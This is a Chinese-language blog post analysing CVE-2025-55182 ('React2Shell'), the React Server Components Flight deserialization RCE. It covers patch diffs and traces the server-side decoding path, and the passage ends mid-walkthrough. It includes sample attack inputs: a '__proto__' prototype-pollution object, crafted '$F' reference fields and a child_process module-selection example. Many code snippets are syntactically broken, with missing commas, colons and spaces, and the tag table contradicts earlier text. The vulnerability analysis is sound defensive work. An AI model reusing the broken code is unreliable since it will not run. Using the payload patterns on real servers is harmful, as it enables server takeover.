React2Shell 分析总结

· 2025-12-08 10:02 · 4 阅读

原创 p4nda 2025-12-08 10:02 中国香港

从修复角度来看,当前实现 RCE 的路子已经被堵死,但是还是存在新漏洞的可能。

“React2Shell”是一位安全研究人员给 CVE-2025-55182 起的名字,这是对 Log4Shell 漏洞的致敬[1]。

[1] https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce

“React2Shell” is the name given to CVE-2025-55182 by a security researcher, a nod to the Log4Shell vulnerability.

CVSS评分: 10.0 (严重) | 影响范围: React 19 全系列 + Next.js 15/16 | 无需认证的 RCE 漏洞

写在前面

CVE-2025-55182 是 React Server Components 中的一个满分 10.0 的严重远程代码执行漏洞,攻击者仅需发送单个 HTTP 请求即可在无需认证的情况下实现服务器接管。该漏洞由安全研究员 Lachlan Davidson 于 2025 年 11 月 29 日发现,公开利用 payload 由 maple3142 于 2025 年 12 月 5 日公开,影响 React 19 全系列及 Next.js、React Router 等下游框架。据 Wiz Research 数据显示,39%的云环境包含受影响实例,而利用测试显示成功率接近 100%。由于 React 在全球 JavaScript 框架市场占据 45.8%的份额,该漏洞的潜在影响覆盖数百万生产应用2。

Exploitation requires only a crafted HTTP request and has shown near-100% reliability in testing. The flaw stems from insecure deserialization in the RSC payload handling logic, allowing attacker-controlled data to influence server-side execution.

影响版本

易受攻击的产品

补丁版本

react-server-dom*:19.0.0、19.1.0、19.1.1 和 19.2.0

19.0.1、19.1.2 和 19.2.1

Next.js:14.3.0-canary、15.x 和 16.x(应用路由)

14.3.0-canary.88、15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7

一、漏洞原理

1、什么是 Flight 协议?

Flight 是一种“在网络上传递 React 组件树信息”的协议,客户端用一个解码器把服务器返回的“帧”(frame)解析成可恢复的 React 结构,再进行局部更新和渲染。

这是 React 自己搞的一套协议,主要用来:

Server → Client:把 Server Components 生成的 UI 结果,序列化成一串「Flight 数据流」,通过 HTTP 传给浏览器,由客户端 React 按协议反序列化、拼成最终 UI。

Client → Server(Reply Flow):浏览器这边在执行 Server Actions / 交互时,把参数等信息按 Flight 格式编码,POST 回服务器,由 React 的解析器解包、找到对应的 Server Function 去执行。

那这个经过协议处理后的内容长什么样?

协议里的数据还是有特征的:

  • Content-Type 通常为:text/x-component

  • 以 $ 开头的特殊标签来表示“特殊值”

  • 每条记录有一个 id(行号或资源号)

实际上可以理解为:一个专门为 React 组件树和异步依赖设计的、半二进制的自定义 JSON 集

但 React 官方从来没把 Flight 格式当成公开标准来文档化,而且明确说它不稳定、随版本可能变。也正是如此,各框架(Next.js、React Router、Vite RSC、Parcel RSC 等)都直接依赖 React 这部分实现,这也就导致了如果 React 本身出现了问题,那么依赖 React 这部分实现的框架都会出现问题。(所以虽然 Next.js 官方发布了 CVE-2025-66478, 但被 NVD 拒绝了,毕竟这个漏洞是依赖 CVE-2025-55182 而存在的,NVD 认为它和 CVE-2025-55182 重复了)

2、Flight 反序列化

Flight 协议反序列化过程主要依赖于流式数据解析,通过不同的标记(如 $F、$L、$P 等)来恢复 React 元素、模块和函数引用。因为 Flight 协议的数据流本质上是一系列 记录(record),每条记录有三个主要部分:

  • 类型标记:标记该记录的数据类型,如组件、函数、模块、Promise 等。

  • ID 或引用:该记录对应的唯一标识符,通常用来标识 React 元素、模块或函数。

  • Payload(数据负载):包含实际的数据,如模块路径、函数参数、异步数据等。

这些记录包含了各种类型的数据,React 通过解析这些记录并根据标记的类型恢复出组件树或执行相应的操作。

这里需要把 Server → Client 和 Client → Server(Flight Reply) 两个方向分开说:

  • Server → Client:服务端生成 Flight 流,发给浏览器;

  • Client → Server:浏览器把 Server Action 的调用和参数编码成 Flight Reply,发回服务端,由 decodeReply / decodeReplyFromBusboy 解包。

先看比较“正常”的那条:Server → Client 渲染流程,大概是这样:

// Server → Client:生成 Flight 数据流
import { renderToPipeableStream } from'react-server-dom-webpack/server';
app.get('/rsc', (req, res) => {
const { pipe } = renderToPipeableStream(<App />, webpackMap, {
    onShellReady() {
      res.setHeader('Content-Type''text/x-component');
// 把 Flight 流写到 HTTP 响应里
      pipe(res);
    },
  });
});

真正和这次漏洞相关的是另一条:Client → Server(Flight Reply)。 在这个方向上,服务端并不会用 createFromReadableStream(req.stream) 之类的 API 去解析请求体,而是通过 decodeReply / decodeReplyFromBusboy 把「来自客户端的 Flight payload」反序列化成 JS 对象/函数。

典型的文本 / urlencoded 场景里,会使用 decodeReply

// 文本 / urlencoded 场景:使用 decodeReply
import { decodeReply } from'react-server-dom-webpack/server';
app.post('/action'async (req, res) => {
// 伪代码:把请求体读成字符串 / Buffer
const body = await getRawBody(req);
// 由 React 负责把 Flight Reply 反序列化成参数数组
const args = await decodeReply(body, webpackMap);
// 通常 args[0] 是要调用的 Server Action,后面是参数
const [action, ...actionArgs] = args;
const result = await action(...actionArgs);
  res.json(result);
});

在 Next.js / RSC 典型的 multipart/form-data 场景里,会配合 Busboy 使用 decodeReplyFromBusboy

import busboy from'busboy';
import { decodeReplyFromBusboy } from'react-server-dom-webpack/server';
app.post('/action', (req, res) => {
const bb = busboy({ headers: req.headers });
// 把 Busboy 作为流传给 React,返回一个 thenable
const reply = decodeReplyFromBusboy(bb, webpackMap);
// 原始 HTTP 请求流喂给 Busboy
  req.pipe(bb);
  reply
    .then(async (args) => {
const [action, ...actionArgs] = args;
const result = await action(...actionArgs);
      res.json(result);
    })
    .catch((err) => {
      res.status(500).end(err.message);
    });
});

decodeReply / decodeReplyFromBusboy 内部,就是后面要分析的那套 Flight 反序列化逻辑: 它会按 L / $@ 等标记,把记录解析成函数引用、模块引用、Promise 等对象,再交给上层框架(比如 Next.js)去实际调用。

下面是一些反序列化解析的示例:

例如,React 可能会传递一个模块的路径以及对应的导出:

const LazyComponent = React.lazy(() =>import('./LazyComponent'));

在 Flight 数据流中,这个模块的引用会被序列化为一个包含 $L 标记的记录。

{
"$L""./LazyComponent"
}

服务器端接收到这个记录后,会根据路径解析模块并加载它,然后将模块的默认导出作为 React 元素进行渲染。

再比如,当客户端请求一个 Server Action 时,Flight 数据流中会包含一个 $F 标记来表示该函数引用。

// 在客户端触发的 Server Action 调用
functionfetchData(action{
return fetch('/server-action', {
method'POST',
bodyJSON.stringify({ action }),
  });
}

当客户端发起请求时,Flight 数据流中会包含函数名、参数和上下文信息(例如 action)。

{
"$F""fetchData",
"args": ["/server-action"]
}

服务器端会解析这个记录,恢复出 fetchData 函数,并使用传入的参数执行它。当然,实际场景下比这个复杂,服务器不会简单地根据客户端传来的函数名去 require() 任意模块,而是要通过 createServerReference、签名校验、Manifest 查表等步骤。

// 服务器端恢复函数引用并执行
const { fetchData } = require('./serverActions');
fetchData('/server-action');

所以如果发送的 Flight 数据流,没有足够的安全检查,就可能导致反序列化漏洞。

3、一个抽象示例

先给一个最简单的、安全的示例:只认白名单 ID

假设我们有一套“Server Actions”,给前端调:

// server/actions.js
asyncfunctionaddTodo(text/* ... */ }
asyncfunctiondeleteTodo(id/* ... */ }
exportconst actions = {
  addTodo,
  deleteTodo,
};

test-p 协议(举例说明,抽象化的 Flight 协议)规定:

{
"type""action",
"id""addTodo",
"args": ["Buy milk"]
}

服务器端的反序列化 + 调用逻辑大致是:

// server/flight-reply-handler.js
import { actions } from'./actions.js';
app.post('/flight'async (req, res) => {
// ① 从客户端读“Flight 数据流”(这里简化成 JSON)
const payload = JSON.parse(req.body);
// ② 只处理 type=action
if (payload.type !== 'action') {
return res.status(400).end('bad type');
  }
// ③ 只允许调用「预先注册在 actions 映射」里的函数
const fn = actions[payload.id];
if (typeof fn !== 'function') {
return res.status(400).end('unknown action');
  }
// ④ 参数当作普通数据使用
const result = await fn(...payload.args);
  res.json({ oktrue, result });
});

这里 反序列化 = JSON.parse + 根据字段走逻辑,但逻辑上有几个 安全边界:

  • type 只能是 'action'

  • id 必须在 actions 白名单里

后端不会根据客户端数据去 require() 任意模块,也不会 new Function()eval 等

这种情况下,客户端输入能力很有限:最多就是乱调我们已经暴露出来的那些 Action,但不能随便执行别的代码。

现在开始加一点难度:引入“Flight 风格的高级特性”—— 模块引用 / 函数引用

Flight 协议的特点是:为了支持 RSC / Server Actions,它的反序列化逻辑,不只是还原 JSON,而是会还原“函数引用”“模块引用”等复杂东西。这也是现实场景的需要。

为了模拟这个需求,我们改造一下 test-p 协议(前文中为了方便举例自创的),增加“模块调用”的能力:

// 允许两种记录:
// 1. 调用预注册的 action(安全的)
// 2. 调用某个模块的某个导出(危险的)
{
"type""callModule",
"module""./safeMath.js",
"export""sum",
"args": [12]
}

假设后端为了偷懒,写了一个“通用反序列化 + 调用器”(方便理解,就是那么简单粗暴):

//  漏洞示例:过度通用的反序列化逻辑
app.post('/flight'async (req, res) => {
const payload = JSON.parse(req.body);
if (payload.type === 'action') {
// 和刚才一样
const fn = actions[payload.id];
if (typeof fn !== 'function') {
return res.status(400).end('unknown action');
    }
const result = await fn(...payload.args);
return res.json({ oktrue, result });
  }
if (payload.type === 'callModule') {
// 把「客户端字符串」当模块名和导出名来 require / 调用
const mod = awaitimport(payload.module);
const fn = mod[payload.export];
if (typeof fn !== 'function') {
return res.status(400).end('not a function');
    }
const result = await fn(...payload.args);
return res.json({ oktrue, result });
  }
  res.status(400).end('unknown type');
});

在实际场景下一定比这个复杂,但实际上最终原理是一致的。

从后端作者的视角:

“我只是做了个灵活点的协议,方便以后扩展嘛。”

从攻防视角:

服务端已经把选择要 import 哪个模块、调用哪个导出函数的权力,完全交给了客户端。

那攻击者能做哪些事呢:

  • 能控制 payload.module 和 payload.export

  • 服务器在反序列化时,会去 import(payload.module)然后执行mod[payload.export](...)

  • 只要项目里存在一些能做敏感操作的函数(执行命令、读写文件、发 HTTP 请求等),就有机会被滥用

比如构造一个恶意请求:

{
"type""callModule",
"module""某个库或内部模块",
"export""某个本不该给前端直接调用的危险函数",
"args": ["攻击者想要的参数"]
}

然后这段反序列化代码会老老实实地执行:

const mod = await import("某个库或内部模块");
const fn = mod["某个本不该给前端直接调用的危险函数"];
await fn("攻击者想要的参数");

一旦这个函数本身能做“系统命令 / 文件访问 / 任意网络请求”之类的事情,很容易升级为 RCE / SSRF / 任意文件读写 等。

到这一步是不是感觉到熟悉了?没错,Java 反序列化漏洞的原理也是类似,最终都是可以调用危险函数/方法去执行命令。

那么我们再抽象回 React Flight 反序列上:问题就出在把超强解码器用在了不可信输入上

React 为了支持 RSC,会在 Server → Client 的方向上定义一整套复杂的 wire format:

  • 有“值记录”、“模块引用记录”、“函数引用记录”等

  • 客户端收到之后,会根据 tag 去还原 React 元素 / 函数引用等

这些能力在 Server → Client 方向通常是安全的,因为:

  • 数据源是“服务器自己生成的”(可信)

  • 解析能力再强,也只是把“自己写的数据”解码回来

但在 React2Shell 漏洞里,同一套有“模块引用 / 函数引用 / 各种高级 tag”的解码器,被用在了 Client → Server(Reply / Actions)方向

  • 也就是说,服务器在处理客户端发来的 Flight Reply 时,使用了功能过于强大的反序列化逻辑

  • 而对“哪些 tag 允许客户端触发、哪些字段必须来自白名单”没有足够严格的限制

结果就是类似我们抽象代码示例里的情况:

本来 Client → Server 只应该接受类似 “{ type: 'action', id: 'addTodo', args: [...] }” 这种非常简单、受控的格式;

但由于复用了一个“强大的解码器”,它现在还能理解客户端发来的:

  • “请帮我解析一个模块引用

  • “请帮我还原一个特殊对象,里面带有某些 host 函数”

如果这些解码路径最终会去做:

  • 模块加载 / 解析(类似 import() / require())

  • 动态方法调用(类似 obj[客户端给的字符串])

  • 或者把“解析出的对象”丢进某些敏感 API

那就和前面示例代码一样,演化为 反序列化漏洞 → RCE / SSRF / 任意文件读写。

**简单来说:**Flight 的反序列化逻辑不仅仅是“把字符串变成对象”,而是“根据变出来的对象去做模块解析 / 执行函数”等行为。一旦这些行为可以被客户端数据操控,就变成了高危的远程代码执行入口。

4、React Flight 反序列化流程

这里说的反序列化流程指的是服务端反序列化,也即 ReactFlight Reply 流程,即:

客户端(浏览器) → [序列化数据] → 服务端(Node.js) → [反序列化处理]

服务端反序列化处理的是客户端发送到服务端的数据,主要场景示例如下:

// 场景 1: Server Action 调用
<form action={serverAction}>
<inputname="username" />
</form>
/
/ 场景 2: startTransition 中调用 Server Action
startTransition(() => {
  serverAction(complexData);
});

React Flight 的反序列化关键步骤示例如下:

  1. HTTP 请求到达服务端,请求为 POST 方法,比如路径为 /action?id=abc123 ,内容类型为 multipart/form-data。

  2. 进入解码函数 decodeAction 或( decodeReply ),这是主入口。

  3. 通过 createServerReference 解析,验证 action ID 的签名,并解析绑定参数。

  4. 调用 parseReply 解析 formData,这是核心解析步骤。

  5. 使用 initializeModelChunk 初始化 chunk,其中通过 JSON.parse 解析 JSON,并使用 reviveModel 回调函数。

  6. 在 reviveModel 中,会调用 parseModelString 解析特殊值,比如以 $@, T, $B 等,这些代表不同的 React 序列化标记。

  7. 对于引用类型(如 $@),会通过 getOutlinedModel 从 chunk map 中获取值。

  8. 最终返回反序列化后的 JavaScript 对象。

对应流程如下:

HTTP POST 请求
  ↓
decodeReply(formData, serverReferenceMap)
  ↓
createServerResponse() // 创建响应对象
  ↓
parseReply(formData)   // 解析 FormData
  ↓
  每个字段:
    ↓
    initializeModelChunk(json)
      ↓
JSON.parse(json, reviveModel)
        ↓
        parseModelString(value)
          ↓
          处理特殊前缀:
          - $F → createBoundServerReference (验证安全性)
          - $T → readTemporaryReference (Proxy 保护)
          - $B → 获取 Blob
          - $Q, $W → 构建 Map/Set
          - $123 → getOutlinedModel (解析引用)
  ↓
返回完整的 JavaScript 对象/函数

上述流程的核心是 parseModelString 函数,其主要负责解析和验证所有字符串类型的值,具体代码逻辑解读分析如下:

packages/react-server/src/ReactFlightReplyServer.js

  • 所有特殊值都必须以 $ 符号开头,系统通过检查第一个字符来进行类型判断(前缀验证机制

  • 对于以 $$ 开头的值,系统将其识别为转义字符串,去掉第一个 $ 后返回原始字符串(转义字符串处理

  • 对于 Promise 类型($@),系统解析十六进制 ID 并获取对应的 chunk(Promise 引用验证

  • 服务端引用($F)需要通过 getOutlinedModel 获取元数据,并加载相应的服务端函数,这里会调用 loadServerReference 进行模块解析和加载(Server Reference 验证

  • 临时引用($T)如果引用未定义或 _temporaryReferences 未配置,系统会抛出明确的错误(Temporary Reference 安全检查)

  • 系统使用 parseInt(path[0], 16) 解析十六进制 ID,这种方式在遇到无效字符时会自动停止解析(ID 解析处理

  • 对于类型化数组(如 ArrayBuffer、Int8Array 等),系统会验证引用并从 FormData 中获取对应的 $B(类型数组检测)

  • K)需要验证特定前缀

  • 系统为各种特殊 JavaScript 值提供了安全的反序列化,比如:$I → Infinity$-0 → -0$-Infinity → Infinity$NaN → NaN$u → undefined$D → Date (使用 Date.parse)$n → BigInt

上述代码比较绕,但实际上就是针对不同开头的字符进行数据类型归类,然后按照所归类的类型进行处理,每种数据类型都有专门的解析和验证逻辑,只有明确定义的前缀类型才会被处理,其他值被视为普通引用,比如

标记

含义

示例

$@

对象引用

{"$@":"0"}

$F

函数引用

{"$F":"1"}

$T

Promise 引用

{"$T":"2"}

$B

Blob/File

{"$B":"3"}

$$

React 元素

{"$$typeof":"..."}

从这里实际上就可以看出,只要传入的数据符合 Flight 所规定的数据类型和格式,就可以反序列化成功,完全没有在安全方面的考虑(除了在 Temporary References 中只允许访问某些安全属性)。

5、patch 补丁分析

根据补丁,和安全相关的 patch 有好几处,可以定位到关键的 patch 如下:

https://github.com/facebook/react/commit/e2fd5dc6ad973dd3f220056404d0ae0a8707998d

第一处:reviveModel 函数

@@ -427,7 +574,7 @@ functionreviveModel(
             value[key],
             childRef,
);
-          if (newValue !== undefined
{
+          if (newValue !== undefined || key === '__proto__') {
// $FlowFixMe[cannot-write]
             value[key] = newValue;
           } else {
@@ -441,24 +588,42 @@ functionreviveModel(
   return value;
 }

即使 newValue 是 undefined,如果键是 proto,也强制进行赋值操作,防止原型链被恶意修改。

第二处:preloadModule 函数

+import hasOwnProperty from'shared/hasOwnProperty';
+
export type ServerManifest = {
   [string]: Array<string>,
 };
@@ -78,7 +80,10 @@ exportfunctionpreloadModule<T>(
 export function requireModule<T>(metadata: ClientReference<T>
): T
{
const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

使用 hasOwnProperty.call() 确保只访问对象自有属性,完全隔离原型链。

第三处:新增了 fulfillReference 和 getOutlinedModel 函数:

+functionfulfillReference(
+  response: Response,
+  reference: InitializationReference,
+  value: any,
+
): void
{
+  const {handler, parentObject, key, map, path} = reference;
+
+  for (let i = 1; i < path.length; i++) {
+    // The server doesn't have any lazy references but we unwrap Chunks here in the same way as the client.
+    while (value instanceof ReactPromise) {
+      const referencedChunk: SomeChunk<any> = value;
+      switch (referencedChunk.status) {
+        case RESOLVED_MODEL:
+          initializeModelChunk(referencedChunk);
+          break;
+      }
+      switch (referencedChunk.status) {
+        case INITIALIZED: {
+          value = referencedChunk.value;
+          continue;
+        }
+        case BLOCKED:
+        case PENDING: {
...
+      }
+    }
+    const name = path[i];
+    if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
+      value = value[name];
+    }
+  }
@@ -612,28 +884,79 @@ functiongetOutlinedModel<T>(
case INITIALIZED:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
-        value = value[path[i]];
+        // The server doesn't have any lazy references but we unwrap Chunks here in the same way as the client.
+        while (value instanceof ReactPromise) {
+          const referencedChunk: SomeChunk<any> = value;
+          switch (referencedChunk.status) {
+            case RESOLVED_MODEL:
+              initializeModelChunk(referencedChunk);
+              break;
+          }
+          switch (referencedChunk.status) {
+            case INITIALIZED: {
+              value = referencedChunk.value;
+              break;
+            }
+            case BLOCKED:
+            case PENDING: {
+              return waitForReference(
...
+              );
+            }
+            default: {
+              // This is an error. Instead of erroring directly, we're going to encode this on
+              // an initialization handler so that we can catch it at the nearest Element.
+              if (initializingHandler) {
+                initializingHandler.errored = true;
+                initializingHandler.value = null;
+                initializingHandler.reason = referencedChunk.reason;
+              } else {
+                initializingHandler = {
+                  chunk: null,
+                  value: null,
+                  reason: referencedChunk.reason,
+                  deps: 0,
+                  errored: true,
+                };
+              }
+              return (nullany);
+            }
+          }
+        }
+        const name = path[i];
+        if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
+          value = value[name];
+        }

循环检索,防止通过路径遍历访问到危险的原型链属性。

通过分析这个补丁很容易就理解这个漏洞的利用大概流程:

通过 Flight 的反序列化功能,传入带有原型链污染的数据,在某个原型链属性的调用后,可以实现 RCE。

二、漏洞分析

1、已有信息分析

这个漏洞最经典的是这个原型链的构建,是近些年最为精彩的漏洞之一。

还是老样子,既然是漏洞分析,就不能对着答案来回答问题,因此我们需要从漏洞发现者的角度来思考。

先逐条分析我们已有的信息:

①、漏洞的本质:一个原型链污染导致 RCE 的漏洞

我们知道,原型链污染本身只是具有“改配置”的能力,想要变成 RCE,关键在于能不能把这些“配置”转成“代码执行的参数或者函数”,比如我们能控制参数传入到一些 RCE 的 sink 点 ,典型的 sink 点有:eval(...)、new Function(...)、vm.runInNewContext(...)、setInterval("code", ...)、child_process.exec(...) 以及一些模版注入漏洞点等。

此外,如果我们能污染某个对象里的 handler / strategy / engine 字段,再让程序从字符串里 require() 我们想要利用的模块(比如 child_process),再调用里面的方法,也可以实现 RCE。但在这种情况下,必须要求代码里存在某种可以通过字符串或者配置来,选择函数或者模块的机制,这些配置来源于一个容易被“深度 merge”的对象,原型污染能刚好影响到这个选择字段。

关于参数的问题通常来说比较容易理解,关于函数或者模块调用如果不好理解,一个简单的 case 如下:

functionrunTask(task, options = {}{
// 通过配置指定用哪个 engine 模块
const engineName = options.engine || 'default-engine';
// 动态加载模块(危险点)
const engine = require(engineName);
return engine.run(task);
}

这里的关键点:

  • engineName 是一个字符串;

  • 这个字符串决定了 require(...) 哪个模块;

  • Node 里如 child_process、fs、vm 这些核心模块都是随手就能 require 的。

如果攻击者能控制options.engine**,那就有机会变成:**

options.engine = 'child_process';  // 然后 engine.run 里面做了啥就很关键

如果 child_process 的 run 刚好调用 exec(...) 或者某个包装函数,就有 RCE。当然,真实场景下未必像这个 case 简单直白,但结构是类似的,就是用配置字符串选模块,然后对模块做某种调用。

**总结一句话:**用户输入 → 深度 merge → 污染原型上的某个字段 → 程序读这个字段来决定“要调用哪个模块/函数” → 调到了危险的东西(RCE)。

②、漏洞的 sink 和 source

Server Action 的数据从哪里进入?可以看 patch 代码:

// packages/react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js
exportfunctiondecodeReplyFromBusboy<T>(
  busboyStream: BusboyStream,  //  multipart 流
  webpackMap: ServerManifest,
  options?: FlightServerOptions,
): Thenable<T
{
const response = createResponse(webpackMap, '', options);
// ...

函数名包含 Busboy ,这通常是用来处理 multipart/form-data 数据的,那必然这是入口点。

然后就是追踪 Busboy 事件监听:

busboyStream.on('field', (name, value) => {
if (pendingFiles > 0) {
    queuedFields.push(name, value);
  } else {
    resolveField(response, name, value);  // 核心点
  }
});
```

我们知道,multipart 的数据格式一般如下所示:

------Boundary
Content-Disposition: form-data; name="0"
{"data""..."}
------Boundary

根据上面的代码,那就是,Busboy 解析后触发 'field' 事件,从 0 开始,为 filed 设置值,比如:name = "0", value = '{"data": "..."}',然后返回调用 resolveField(response, "0", '{"data": "..."}')。

继续追踪 resolveField 函数:

// packages/react-server/src/ReactFlightReplyServer.js
exportfunctionresolveField(
  response: Response,
  key: string,        // name 值 "0"
  value: string,      // value值 '{"data": "..."}'
): void
{
const chunks = response._chunks;
const prefix = key[0];  // "0"
const id = parseInt(key.slice(1), 16);  // 解析 ID
const chunk = chunks.get(id);
if (chunk) {
    resolveModelChunk(response, chunk, value, id);  // 核心点
  }
}

key[0] 是前缀(prefix),用于标识数据类型,key.slice(1) 是 chunk ID(16 进制),数据存储在 response._chunks Map 中,最后调用 resolveModelChunk 来处理。继续来看 resolveModelChunk:

functionresolveModelChunk<T>(
  response: Response,
  chunk: SomeChunk<T>,
  value: string,      // value值 '{"data": "..."}'
  id: number,
): void
{
// ...
const resolvedChunk: ResolvedModelChunk<T> = (chunk: any);
  resolvedChunk.status = RESOLVED_MODEL;  // 标记状态
  resolvedChunk.value = value;
  resolvedChunk.reason = {id, [RESPONSE_SYMBOL]: response};
if (resolveListeners !== null) {
    initializeModelChunk(resolvedChunk);   // 核心点
  }
}

将 chunk 状态设置为 RESOLVED_MODEL ,保存原始 JSON 字符串到 chunk.value ,如果有监听器,立即初始化。

进入 initializeModelChunk:

functioninitializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void{
const resolvedModel = chunk.value;  // 获取 JSON 字符串
try {
const rawModel = JSON.parse(resolvedModel);  // ← 解析 JSON
const value: T = reviveModel(   // 核心点
      response,
      {'': rawModel},
'',
      rawModel,
      rootReference,
    );
// ...
  }
}

JSON.parse() 解析 JSON 字符串,调用 reviveModel() 递归处理对象,然后就到了原型链污染的关键点,reviveModel:

functionreviveModel(
  response: Response,
  parentObj: Object,
  key: string,
  value: JSONValue,
  reference: void | string,
): any
{
// 处理字符串(可能包含特殊引用)
if (typeof value === 'string') {
return parseModelString(  // 这里用于处理特殊字符串
      response,
      parentObj,
      key,
      value,
      reference
    );
  }
// 处理对象
if (typeof value === 'object' && value !== null) {
for (const k in value) {
const newValue = reviveModel(
        response,
        value,
        k,
        value[k],
        childRef,
      );
//  原型链污染点(修复前)
if (newValue !== undefined) {
        value[k] = newValue;  // 当 k = "__proto__" 时污染原型
      }
// 修复后
if (newValue !== undefined || k === '__proto__') {
        value[k] = newValue;  // __proto__ 被当作普通属性
      }
    }
  }
return value;
}

到这里我们可以假设传入的这段 JSON 数据如下:

{
"data""test",
"__proto__": {
"isAdmin"true
  }
}

那么处理逻辑应该是这样的:

// 第一次递归:处理最外层对象
reviveModel(response, {}, '', {整个对象}, undefined)
  ↓
for (const k in value)  // k = "data", "__proto__"
    ↓
    当 k = "__proto__" 时:
      value["__proto__"] = {isAdmintrue}  // 从而触发原型链污染

那如果 JSON 数据换下,如下:

{
"action""$F1"
}

那么就会触发刚才 reviveModel 模块中的 parseModelString 来处理特殊字符,处理逻辑如下:

parseModelString(response, obj, "action""$F1", ...)
  ↓
  识别 "$F" → Server Reference
  ↓
  ref = "1"
  ↓
  调用 getOutlinedModel(response, "1", obj, "action", Reference)

getOutlinedModel 内容如下:

functiongetOutlinedModel<T>(
  response: Response,
  reference: string,  // 用户可控
  parentObject: Object,
  key: string,
  map: (response, model, parentObject, key) => T,
): T
{
// 解析路径
const path = reference.split(':');
const id = parseInt(path[0], 16);
const chunk = getChunk(response, id);
switch (chunk.status) {
case INITIALIZED:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
const name = path[i];  //  可控点
// 修复前:直接访问
        value = value[name];
// 如果 name = "__proto__":
// value = value["__proto__"]
// → 访问 Object.prototype ,实现原型链污染
// 修复后:检查自有属性
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
          value = value[name];
        }
      }
return map(response, value, parentObject, key);
  }
}

到这里基本上就已经可以看出端倪了,完整再看一次流程,如果数据是:

name="0": {"action""$F1"}
name="1": {"id""app/testAction.js#test""bound"null}

那么处理逻辑如下:

步骤一:首先处理 name="0":

// 入口
resolveField(response, "0", '{"action""$F1"}')
  ↓
  key = "0"
  id = parseInt("0"16) = 0
  ↓
  resolveModelChunk(response, chunk[0], '{"action""$F1"}', 0)
  ↓
  chunk[0].status = RESOLVED_MODEL
  chunk[0].value = '{"action""$F1"}'  // 原始 JSON 字符串
  ↓
  initializeModelChunk(chunk[0])

步骤 2: 初始化 chunk[0]

initializeModelChunk(chunk[0])
  ↓
const resolvedModel = chunk[0].value;  // '{"action": "$F1"}'
  ↓
const rawModel = JSON.parse(resolvedModel);
// rawModel = {action: "$F1"}
  ↓
  reviveModel(response, {'': rawModel}, '', rawModel, undefined)

步骤 3: reviveModel 处理 chunk[0]

reviveModel(response, {'': rawModel}, '', {action"$F1"}, undefined)
  ↓
typeof value === 'object' → true
  ↓
// 遍历对象属性
for (const k in {action"$F1"}) {
// k = "action"
// value[k] = "$F1"
const newValue = reviveModel(
      response,
      rawModel,
"action",
"$F1",           // ← 字符串值
"0:action"
    );
  }

步骤 4: reviveModel 处理字符串 "$**F1**"

reviveModel(response, rawModel, "action""$F1""0:action")
  ↓
typeof"$F1" === 'string' → true
  ↓
return parseModelString(
    response,
    rawModel,      // parentObject
"action",      // key
"$F1",         // value
"0:action"// reference
  );

步骤 5: parseModelString 识别 Server Reference

parseModelString(response, rawModel, "action""$F1""0:action")
  ↓
  value[0] === '$' → true
  value[1] === 'F' → true// Server Reference 标记
  ↓
case'F': {
const ref = value.slice(2);  // "$F1" → "1"
return getOutlinedModel(
      response,
"1",              // ← 引用 chunk[1]
      rawModel,         // parentObject = {action: "$F1"}
"action",         // key
      loadServerReference  // map 函数
    );
  }

步骤 6: getOutlinedModel 获取引用

getOutlinedModel(response, "1", rawModel, "action", loadServerReference)
  ↓
//  解析引用路径
const path = "1".split(':');
// path = ["1"]  ← 只有一个元素!
const id = parseInt("1"16);  // id = 1
const chunk = getChunk(response, 1);  // 获取 chunk[1]

步骤 7: 并行处理 name="1"(或等待)

在 getChunk 尝试获取 chunk[1] 时,如果状态是 chunk[1] 还未处理,那么处理逻辑如下:

getChunk(response, 1)
  ↓
  chunk = response._chunks.get(1);
if (!chunk) {
//  创建 PENDING 状态的 chunk
    chunk = createPendingChunk(response);
    response._chunks.set(1, chunk);
  }
return chunk;  // 返回 PENDING 状态的 chunk

然后 getOutlinedModel 会等待:

switch (chunk.status) {
case PENDING:
case BLOCKED:
//  等待 chunk[1] 初始化
return waitForReference(chunk, rawModel, "action", response, loadServerReference, path);
}

如果 chunk[1] 已经处理完成,那么继续

步骤 8: 处理 name="1"

resolveField(response, "1", '{"id""app/testAction.js#test""bound"null}')
  ↓
  id = 1
  chunk = response._chunks.get(1);  // 获取或创建
  ↓
  resolveModelChunk(response, chunk[1], '{"id": ...}', 1)
  ↓
  initializeModelChunk(chunk[1])
  ↓
  JSON.parse('{"id""app/testAction.js#test""bound"null}')
// rawModel = {
//   id: "app/testAction.js#test",
//   bound: null
// }
  ↓
  reviveModel(response, {'': rawModel}, '', rawModel, "1")
  ↓
// 遍历属性
  for (const k in rawModel) {
// k = "id": 值是字符串,不需要特殊处理
// k = "bound": 值是 null,不需要特殊处理
  }
  ↓
// 初始化完成
  chunk[1].status = INITIALIZED
  chunk[1].value = {
    id: "app/testAction.js#test",
    bound: null
  }

步骤 9: getOutlinedModel 继续执行

getOutlinedModel(response, "1", rawModel, "action", loadServerReference)
  ↓
  chunk = chunk[1]
  chunk.status = INITIALIZED  //  已初始化
  ↓
case INITIALIZED:
    let value = chunk.value;
// value = {
//   id: "app/testAction.js#test",
//   bound: null
// }
//  遍历路径
for (let i = 1; i < path.length; i++) {
// path = ["1"]
// path.length = 1
// i 从 1 开始
// 1 < 1 → false
//  不会进入循环!
    }
// 直接调用 map 函数
return loadServerReference(
      response,
      value,      // {id: "app/testAction.js#test", bound: null}
      rawModel,   // {action: "$F1"}
"action"// key
    );

步骤 10: loadServerReference 加载模块

loadServerReference(
  response,
  {id: "app/testAction.js#test", bound: null},  // metaData
  rawModel,  // parentObject
"action"// key
)
  ↓
const id = metaData.id;  // "app/testAction.js#test"
if (typeof id !== 'string') {
return (nullany);
  }
//  解析服务器引用
const serverReference = resolveServerReference(response._bundlerConfig, id);
// 返回类似:
// {
//   id: "app/testAction.js",
//   name: "test",
//   chunks: ["chunk-abc123"]
// }
// 🔍预加载模块
let promise = preloadModule(serverReference);
if (!promise) {
// 同步可用
const resolvedValue = requireModule(serverReference);
// 等价于:
